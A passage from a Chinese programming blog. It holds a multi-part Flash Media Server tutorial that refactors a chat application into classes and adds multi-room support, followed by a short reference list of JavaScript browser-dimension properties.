 
UserList.prototype.getUserList = function(){
    return this.listArray;
}
function function UserList(){} 这个相当于类里面的构造函数

UserList.prototype. 这种相当于给UserList这个类加入方法,用过as1.0或者as2.0的朋友应该都知道prototype的用法

在这里我们加了四个方法

addUser 将用户加入到列表中
delUser 将用户从列表中删除
checkOnline 检查用户是否在列表中
getUserList 得到用户列表数组

这些代码应该很容易懂

再来看修改后的main.asc:

load(“UserList.asc”);
application.onAppStart = function() {
    this.chatMsgArray = new Array();
    this.userList = new UserList();
}
 
application.onConnect = function(client, userName) {
    if(this.userList.checkOnline(userName)){
        this.rejectConnection(client);
        return;
    }
    this.acceptConnection(client);
    client.userName = userName;
    this.userList.addUser(userName);
    sendUserList();
    //客户端调用方法
    client.getMsg = function(){
        return application.chatMsgArray;
    }
    client.sendMsg = function(msg){
        var chatInfo = this.userName + ” : ” + msg;
        application.chatMsgArray.push(chatInfo);
        sendMsgToClient(chatInfo);
    }
}
 
application.onDisconnect = function(client) {
    trace(“用户:”+client.userName+” 离开”);
    this.userList.delUser(client.userName);
    sendUserList();
}
 
 
application.onAppStop = function() {
   
}
 
function sendMsgToClient(chatInfo){
    var len = application.clients.length;
    for(var i=0;i<len;i++){
        application.clients[i].call(“getMsgInfo”,null,chatInfo);
    }
}
 
function sendUserList(){
    var len = application.clients.length;
    for(var i=0;i<len;i++){
        application.clients[i].call(“getUserList”,null,application.userList.getUserList());
    }
}
跟上一节的代码相比,首先多了一个load(”UserList.asc”),load能够将其它的asc文件加入进来,相当于导入了,也可以理解为包括,就是两个文件成了一个文件

其他的修改应该很简单,很容易看懂,我就不多讲了.

从这个程序代码的多少上看,并没有减少多少,但这只是一个小程序,当程序越大时就能看出这样写的好处了.

客户端不用改,现在看一下效果,应该和上一节是一样的.

下节继续.

在上一节中,我们学会了在FMS中使用类,虽然不是正式意义上的类,但也会使我们的程序看起来更结构化,这一节我们继续用类的方式改造之前的代码,首先我们要加个用户类(User.asc):
function User(client,userName){
    this.client = client;
    this.userName = this.client.userName = userName;
}
很简单的一个类,只有构造,没有方法,其实是当用户的信息更多时,我们通常会将用户的所有信息都封装起来,这样便于我们使用,这里我们只是比前面多加了一个client对象,这个对象是代表连接进来的客户端,我们把它封装到User里面.

接着,UserList.asc也要做相应该的修改,并且把之前在main.asc里面的sendUserList和sendMsgToClient也封装到UserList这个类中.

function UserList(){
    this.listArray = [];//也可以用new Array(),不过听说[]效率更高;
}
 
UserList.prototype.addUser = function(user){
    this.listArray.push(user);
    this.sendUserList();
}
 
UserList.prototype.delUser = function(userName){
    var len = this.listArray.length;
    for(var i=0;i<len;i++){
        if(this.listArray[i].userName == userName){
            this.listArray.splice(i,1);
            break;
        }
    }
    this.sendUserList();
}
 
UserList.prototype.checkOnline = function(userName){
    var len = this.listArray.length;
    for(var i=0;i<len;i++){
        if(this.listArray[i].userName == userName){
            return true;
        }
    }
    return false;
}
 
UserList.prototype.getUserList = function(){
    var result = [];
    var len = this.listArray.length;
    for(var i= 0;i<len;i++){
        result.push(this.listArray[i].userName);
    }
    return result;
}
 
UserList.prototype.sendUserList = function(){
    var len = this.listArray.length;
    for(var i=0;i<len;i++){
        this.listArray[i].client.call(“getUserList”,null,this.getUserList());
    }
}
 
UserList.prototype.sendMsgToClient = function(chatInfo){
    var len = this.listArray.length;
    for(var i=0;i<len;i++){
        this.listArray[i].client.call(“getMsgInfo”,null,chatInfo);
    }
}
在这个类中我们主要做了以下修改:

1.在addUser里传进来的参数是一个User对象,我们的列表里存的是每个人的对象,而不是以前的只一个userName了.
2.在delUser里,我们做比较的是列表里对象的userName和传进来的参数
3.getUserList方法中我们要把每个人的名字筛选出来
4.将sendUserList和sendMsgToClient封装进来,因为我们的用户对象中有Client,所以直接用this.listArray[i].client就可以调用客户端方法了.
5.在addUser和delUser后通过this.sendUserList()来发送在线列表.

通过将一些方法封装进来,我们发现main.asc的代码减少了,这是好处之一,还有一个好处在后面的教程中会讲到.

最后来看一下main.asc文件:

load(“UserList.asc”);
load(“User.asc”);
application.onAppStart = function() {
    this.chatMsgArray = new Array();
    this.userList = new UserList();
}
 
application.onConnect = function(client, userName) {
    if(this.userList.checkOnline(userName)){
        this.rejectConnection(client,{msg:”error1″});
        return;
    }
    this.acceptConnection(client);
    var user = new User(client,userName);
    this.userList.addUser(user);
    //客户端调用方法
    client.getMsg = function(){
        return application.chatMsgArray;
    }
    client.sendMsg = function(msg){
        var chatInfo = this.userName + ” : ” + msg;
        application.chatMsgArray.push(chatInfo);
        application.userList.sendMsgToClient(chatInfo);
    }
}
 
application.onDisconnect = function(client) {
    trace(“用户:”+client.userName+” 离开”);
    this.userList.delUser(client.userName);
}
 
 
application.onAppStop = function() {
   
}
在main.asc中减少了两个方法,并且多了一个load(”User.asc”)将User.asc载入进来

在接受用户后,新建了一个User对象 — var user = new User(client,userName);

还有一个改动就是:this.rejectConnection(client,{msg:”error1″});

我们在用户已经列表中拒绝用户加了一个参数,当你有不同的拒绝信息时,这个参数会起很大的作用

客户端代码也要做相应的修改:

package net.smilecn.chat{
   
    import flash.display.Sprite;
    import flash.net.NetConnection;
    import flash.net.Responder;
    import flash.events.NetStatusEvent;
    import flash.events.SyncEvent;
    import flash.events.MouseEvent;
    import fl.controls.TextArea;
      import fl.controls.Button;
      import fl.controls.TextInput;
    import fl.controls.Label;
    import fl.controls.List;
    import fl.data.DataProvider;
 
   
    public class Chat extends Sprite{
       
        private var nc:NetConnection;
        private var rtmpUrl:String = “rtmp://localhost/chat”;
        private var msg:Label;
        private var userNameInput:TextInput;
        private var enterBtn:Button;
        private var button:Button;
        private var textArea:TextArea;
        private var textInput:TextInput;
        private var userList:List;
       
        private var userName:String;
   
        public function Chat():void{
            userNameInput = new TextInput();
            userNameInput.move(100,200);
            addChild(userNameInput);
            enterBtn = new Button();
            enterBtn.move(220,200);
            enterBtn.label = “进入”;
            addChild(enterBtn);
            enterBtn.addEventListener(MouseEvent.CLICK,enterBtnClickHandler);
            msg = new Label();
            msg.move(100,230);
            msg.text = “”;
            addChild(msg);
        }
       
        private function enterBtnClickHandler(event:MouseEvent):void{
            if(userNameInput.text!=”"){
                userName = userNameInput.text;
                nc=new NetConnection();
                        nc.addEventListener (NetStatusEvent.NET_STATUS,netStatusHandler);
                nc.client = this;
                nc.connect (rtmpUrl,userName);
               
            }else{
                msg.text = “请输入用户名”;
            }
           
        }
       
        private function into():void{
            removeChild(userNameInput);
            removeChild(enterBtn);
            removeChild(msg);
           
            textArea=new TextArea();
            textArea.setSize (200,300);
            textArea.move (20,20);
            addChild (textArea);
 
            textInput=new TextInput();
            textInput.width = 140;
            textInput.move (20,330);
            addChild (textInput);
 
                   button=new Button();
            button.width=50;
                   button.label=”发送”;
                   button.move (170,330);
            addChild(button);
            button.addEventListener (MouseEvent.CLICK,sendMsg);
               
            userList = new List();
            userList.move(250,20);
            userList.setSize(100,300);
            addChild(userList);
        }
       
        private function netStatusHandler(event:NetStatusEvent):void{
            trace(event.info.code);
            switch (event.info.code) {
                case “NetConnection.Connect.Success” :
                    trace(“连接成功!”);
                    into();
                    nc.call(“getMsg”,new Responder(getMsgResult,getMsgFault))
                    break;
                case “NetConnection.Connect.Rejected” :
                    trace(“连接被拒绝!:”+event.info.application.msg);
                    if(event.info.application.msg == “error1″){
                        msg.text = “用户已在列表中”;
                    }
                    break;
                case “NetConnection.Connect.Failed” :
                    trace(“连接失败!”);
                    break;
                case “NetConnection.Connect.Closed” :
                    trace(“连接关闭!”);
                    break;
            }
        }
       
        private function getMsgResult(re:Array):void{
            var s:String=”";
            var len:Number = re.length;
            for(var i=0;i<len;i++){
                s += re[i]+”\n”;
            }
            textArea.text = s;
        }
       
        private function getMsgFault(fe:*):void{
            trace(fe);
        }
       
        private function sendMsg (e:MouseEvent):void{
            nc.call(“sendMsg”,null,textInput.text);
            textInput.text = “”;
        }
       
        public function getMsgInfo(msg:String):void{
            textArea.appendText(msg+”\n”);
        }
       
        public function getUserList(list:Array):void{
            userList.dataProvider = new DataProvider(list);
        }
       
        public function close():void{
           
        }
    }
   
}
代码比较简单,不用多讲解了,发布看一下效果,效果跟前几节还是一样,只是多了一个”用户已在列表中的提示”

下节继续.

在上一节中,我们将一些方法进一步封装到了UserList类中 了,这样做是有很多好处的,以前经常有朋友问我像聊天室怎么做成多房间,像斗地主怎么做成多个桌子在打,其实原理都是一样的,我们只需要对 UserList类做一些改造,就可以达到这个功能了,首先把类的名字改成ChatRoom,这样更好认一些,先看ChatRoom.asc,是由 UserList.asc改造而来的:
function ChatRoom(id){
    this.id = id;
    this.listArray = [];
    this.chatMsgArray = [];
}
 
ChatRoom.prototype.addUser = function(user){
    this.listArray.push(user);
    this.sendUserList();
}
 
ChatRoom.prototype.delUser = function(userName){
    var len = this.listArray.length;
    for(var i=0;i<len;i++){
        if(this.listArray[i].userName == userName){
            this.listArray.splice(i,1);
            break;
        }
    }
    this.sendUserList();
}
 
ChatRoom.prototype.checkOnline = function(userName){
    var len = this.listArray.length;
    for(var i=0;i<len;i++){
        if(this.listArray[i].userName == userName){
            return true;
        }
    }
    return false;
}
 
ChatRoom.prototype.getUserList = function(){
    var result = [];
    var len = this.listArray.length;
    for(var i= 0;i<len;i++){
        result.push(this.listArray[i].userName);
    }
    return result;
}
 
ChatRoom.prototype.sendUserList = function(){
    sendAllRoomNum(this.id,this.listArray.length);
    var len = this.listArray.length;
    for(var i=0;i<len;i++){
        this.listArray[i].client.call(“getUserList”,null,this.getUserList());
    }
}
 
ChatRoom.prototype.sendMsgToClient = function(chatInfo){
    trace(“sendMsgToClient:”+chatInfo);
    this.chatMsgArray.push(chatInfo);
    var len = this.listArray.length;
    for(var i=0;i<len;i++){
        this.listArray[i].client.call(“getMsgInfo”,null,chatInfo);
    }
}
来看看ChatRoom类和UserList类有什么区别:
1.在构造中增加了this.id = id,这里的id表示每个房间的编号,这样可以区别当前是哪个房间.
2.this.chatMsgArray,存储聊天信息的数组,之前是放在main.asc里面的,因为之前只有一个房间,而现在有多个房间,所以每个房间都应该有一个自己的聊天信息列表.

main.asc文件也做了相应的修改:

load(“ChatRoom.asc”);
load(“User.asc”);
application.onAppStart = function() {
    this.roomArray = [];
    this.roomUserNum = [];
    var roomLen = 3;
    for(var i=0;i< roomLen ;i++){
        this.roomArray.push(new ChatRoom(i+1));
        this.roomUserNum.push(0);
    }
}
 
application.onConnect = function(client) {
    this.acceptConnection(client);
    //客户端调用方法
    client.addRoom = function(userName,roomid){
        trace(userName,roomid);
        var isOnline = application.roomArray[roomid - 1].checkOnline(userName);
        if(!isOnline){
            var user = new User(this,userName,roomid);
            application.roomArray[roomid - 1].addUser(user);
            return true;
        }else{
            return false;
        }
    }
    client.getMsg = function(roomid){
        return application.roomArray[roomid - 1].chatMsgArray;
    }
    client.sendMsg = function(roomid,msg){
        var chatInfo = this.userName + ” : ” + msg;
        application.roomArray[roomid - 1].sendMsgToClient(chatInfo);
    }
    client.getAllUserNum = function(){
        return application.roomUserNum;
    }
}
 
application.onDisconnect = function(client) {
    trace(“用户:”+client.userName+” 离开  “+client.roomid);
    this.roomArray[client.roomid - 1].delUser(client.userName);
}
 
 
application.onAppStop = function() {
   
}
 
function sendAllRoomNum(roomid,num){
    application.roomUserNum[roomid - 1] = num;
    var len = application.clients.length;
    for(var i= 0;i<len ;i++){
        application.clients[i].call(“getAllRoomNum”,null,application.roomUserNum);
    }
}
在这个类中我们主要做了以下修改:

1.this.roomArray,用来存储每个房间实例的数组;this.roomUserNum,所有房间当前在线人数的数组;在这里我定义了三个房间,这个可以任意设定.
2.在客户端连接进来时,直接接受客户端连接,不做判断,把判断改在addRoom完成.
3.在客户端发过来的消息中,多加了个参数,就是roomid,用于区别是哪个房间发来的消息,然后根据roomid来判断调用哪个房间实例的方法.
4.增加sendAllRoomNum方法,用于发送实时的所有房间人数,供客户端的大厅显示,正常大厅的可以实时看到人数变化.

客户端代码也要做相应的修改:

package net.smilecn.chat{
   
    import flash.display.Sprite;
    import flash.net.NetConnection;
    import flash.net.Responder;
    import flash.events.NetStatusEvent;
    import flash.events.SyncEvent;
    import flash.events.MouseEvent;
    import fl.controls.TextArea;
      import fl.controls.Button;
      import fl.controls.TextInput;
    import fl.controls.Label;
    import fl.controls.List;
    import fl.data.DataProvider;
 
   
    public class Chat extends Sprite{
       
        private var nc:NetConnection;
        private var rtmpUrl:String = “rtmp://localhost/chat/chatLobby”;
        private var msg:Label;
        private var userNameInput:TextInput;
        private var enterBtn:Button;
        private var button:Button;
        private var textArea:TextArea;
            private var textInput:TextInput;
        private var userList:List;
       
        private var userName:String;
       
        private var allRoomNum :Array = new Array();
        private var roomBtnArray:Array = new Array();
       
        private var onlineArray:Array = new Array();
       
        private var currentRoomid:Number;
   
        public function Chat():void{
            userNameInput = new TextInput();
            userNameInput.move(100,200);
            addChild(userNameInput);
            enterBtn = new Button();
            enterBtn.move(220,200);
            enterBtn.label = “进入”;
            addChild(enterBtn);
            enterBtn.addEventListener(MouseEvent.CLICK,enterBtnClickHandler);
            msg = new Label();
            msg.move(100,230);
            msg.text = “”;
            addChild(msg);
        }
       
        private function enterBtnClickHandler(event:MouseEvent):void{
            if(userNameInput.text!=”"){
                userName = userNameInput.text;
                nc=new NetConnection();
                        nc.addEventListener (NetStatusEvent.NET_STATUS,netStatusHandler);
                nc.client = this;
                nc.connect (rtmpUrl);
               
            }else{
                msg.text = “请输入用户名”;
            }
           
        }
       
        private function netStatusHandler(event:NetStatusEvent):void{
            trace(event.info.code);
            switch (event.info.code) {
                case “NetConnection.Connect.Success” :
                    trace(“连接成功!”);
                    nc.call(“getAllUserNum”,new Responder(getAllUserNumResult,getAllUserNumFault))
                    break;
                case “NetConnection.Connect.Rejected” :
                    trace(“连接被拒绝!”);
                    break;
                case “NetConnection.Connect.Failed” :
                    trace(“连接失败!”);
                    break;
                case “NetConnection.Connect.Closed” :
                    trace(“连接关闭!”);
                    break;
            }
        }
       
        private function getAllUserNumResult(re:Array):void{
            trace(“getAllUserNumResult:”+re);
            removeChild(userNameInput);
            removeChild(enterBtn);
            removeChild(msg);
            allRoomNum = re;
            var xpos = 100;
            var ypos = 200;
            var num = 150;
            var len = allRoomNum.length;
            for(var i=0 ;i<len;i++){
                var btn:Button = new Button();
                btn.x = xpos;
                btn.y = ypos;
                xpos += num;
                btn.label = (i+1) + “号房间(“+allRoomNum[i]+”/”+(i+1) * 10 + “)”;
                addChild(btn);
                btn.addEventListener(MouseEvent.CLICK,roomBtnHandler);
                roomBtnArray.push(btn);
            }
        }
       
       
        private function getAllUserNumFault(fe:*):void{
            trace(fe);
        }
       
        private function intoRoom():void{
            var len = roomBtnArray.length;
            for(var i=0;i<len;i++){
                removeChild(roomBtnArray[i]);
            }
            roomBtnArray = [];
            textArea=new TextArea();
            textArea.setSize (200,300);
                   textArea.move (20,20);
                    addChild (textArea);
 
                    textInput=new TextInput();
            textInput.width = 140;
                    textInput.move (20,330);
                    addChild (textInput);
 
                   button=new Button();
                    button.width=50;
                   button.label=”发送”;
                   button.move (170,330);
            addChild(button);
            button.addEventListener (MouseEvent.CLICK,sendMsg);
               
            userList = new List();
            userList.move(250,20);
            userList.setSize(100,300);
            addChild(userList);
            userList.dataProvider = new DataProvider(onlineArray);
            nc.call(“getMsg”,new Responder(getMsgResult,getMsgFault),currentRoomid);
        }
       
        private function getMsgResult(re:*):void{
            var msg:String = “”;
            var len:Number = re.length;
            for(var i=0;i<len;i++){
                msg += re[i]+”\n”;
            }
            textArea.text = msg;
        }
       
        private function getMsgFault(fe:*):void{
           
        }
       
        private function roomBtnHandler(event:MouseEvent):void{
            var roomid = Number(event.currentTarget.label.substr(0,1));
            if(allRoomNum[roomid - 1] == roomid * 10){
                event.currentTarget.label = “此房间已满”;
            }else{
                nc.call(“addRoom”,new Responder(addRoomResult,addRoomFault),userName,roomid);
                currentRoomid = roomid;
            }
        }
       
        private function addRoomResult(re:*):void{
            trace(re);
            if(re){
                intoRoom();
            }
        }
       
        private function addRoomFault(fe:*):void{
           
        }
       
        private function sendMsg (e:MouseEvent):void{
            nc.call(“sendMsg”,null,currentRoomid,textInput.text);
            textInput.text = “”;
        }
       
        public function getMsgInfo(msg:String):void{
            textArea.appendText(msg+”\n”);
        }
       
        public function getUserList(list:Array):void{
            trace(“getuserList:”+list);
            onlineArray = list;
            if(userList){
                userList.dataProvider = new DataProvider(onlineArray);
            }
        }
       
        public function getAllRoomNum(array:Array):void{
            allRoomNum = array;
            var len = roomBtnArray.length;
            if(len > 0){
                for(var i=0;i<len;i++){
                    roomBtnArray[i].label = (i+1) + “号房间(“+allRoomNum[i]+”/”+(i+1) * 10 + “)”;
                }
            }
        }
       
        public function close():void{
           
        }
    }
   
}
客户端增加一个大厅,然后再进房间,客户端的代码我就不详细讲解了,因为这不是一个讲AS3的教程,会一些AS3的朋友应该都看得懂,如果不懂,可 以先看一下我写的关于AS3的教程,这个客户端代码写得有点乱,只是完成了功能,FMS的教程写完后,我准备写一些关了MVC框架的使用教程,像 cairngorm和pureMVC,到时会将代码处理得更好些.

发表在 article | 标签为 , | 一步一步学Flash Media Server已关闭评论

js获取浏览器高度和宽度值(多浏览器)

关键字: js 浏览器高度 浏览器宽度 IE 中:

document.body.clientWidth ==> BODY 对象宽度

document.body.clientHeight ==> BODY 对象高度

document.documentElement.clientWidth ==> 可见区域宽度

document.documentElement.clientHeight ==> 可见区域高度

FireFox 中:

document.body.clientWidth ==> BODY 对象宽度

document.body.clientHeight ==> BODY 对象高度

document.documentElement.clientWidth ==> 可见区域宽度

document.documentElement.clientHeight ==> 可见区域高度

Opera 中:

document.body.clientWidth ==> 可见区域宽度

document.body.clientHeight ==> 可见区域高度

document.documentElement.clientWidth ==> 页面对象宽度(即 BODY 对象宽度加上 Margin 宽)

document.documentElement.clientHeight ==> 页面对象高度(即 BODY 对象高度加上 Margin 高)

没有定义 W3C 的标准,则

IE 为:

document.documentElement.clientWidth ==> 0

document.documentElement.clientHeight ==> 0

FireFox 为:

document.documentElement.clientWidth ==> 页面对象宽度(即 BODY 对象宽度加上 Margin 宽) document.documentElement.clientHeight ==> 页面对象高度(即 BODY 对象高度加上 Margin 高)

Opera 为:

document.documentElement.clientWidth ==> 页面对象宽度(即 BODY 对象宽度加上 Margin 宽) document.documentElement.clientHeight ==> 页面对象高度(即 BODY 对象高度加上 Margin 高)

网页可见区域宽: document.body.clientWidth

网页可见区域高: document.body.clientHeight

网页可见区域宽: document.body.offsetWidth ( 包括边线的宽 )

网页可见区域高: document.body.offsetHeight ( 包括边线的高 )

网页正文全文宽: document.body.scrollWidth

网页正文全文高: document.body.scrollHeight

网页被卷去的高: document.body.scrollTop

网页被卷去的左: document.body.scrollLeft

网页正文部分上: window.screenTop

网页正文部分左: window.screenLeft

屏幕分辨率的高: window.screen.height

屏幕分辨率的宽: window.screen.width

屏幕可用工作区高度: window.screen.availHeight

屏幕可用工作区宽度: window.screen.availWidth

HTML 精确定位 :scrollLeft,scrollWidth,clientWidth,offsetWidth

scrollHeight: 获取对象的滚动高度。

scrollLeft: 设置或获取位于对象左边界和窗口中目前可见内容的最左端之间的距离

scrollTop: 设置或获取位于对象最顶端和窗口中可见内容的最顶端之间的距离

scrollWidth: 获取对象的滚动宽度

offsetHeight: 获取对象相对于版面或由父坐标 offsetParent 属性指定的父坐标的高度

offsetLeft: 获取对象相对于版面或由 offsetParent 属性指定的父坐标的计算左侧位置

offsetTop: 获取对象相对于版面或由 offsetTop 属性指定的父坐标的计算顶端位置

event.clientX 相对文档的水平座标

event.clientY 相对文档的垂直座标

event.offsetX 相对容器的水平坐标

event.offsetY 相对容器的垂直坐标

document.documentElement.scrollTop 垂直方向滚动的值

event.clientX+document.documentElement.scrollTop 相对文档的水平座标 + 垂直方向滚动的量

发表在 article | 标签为 , | 422条评论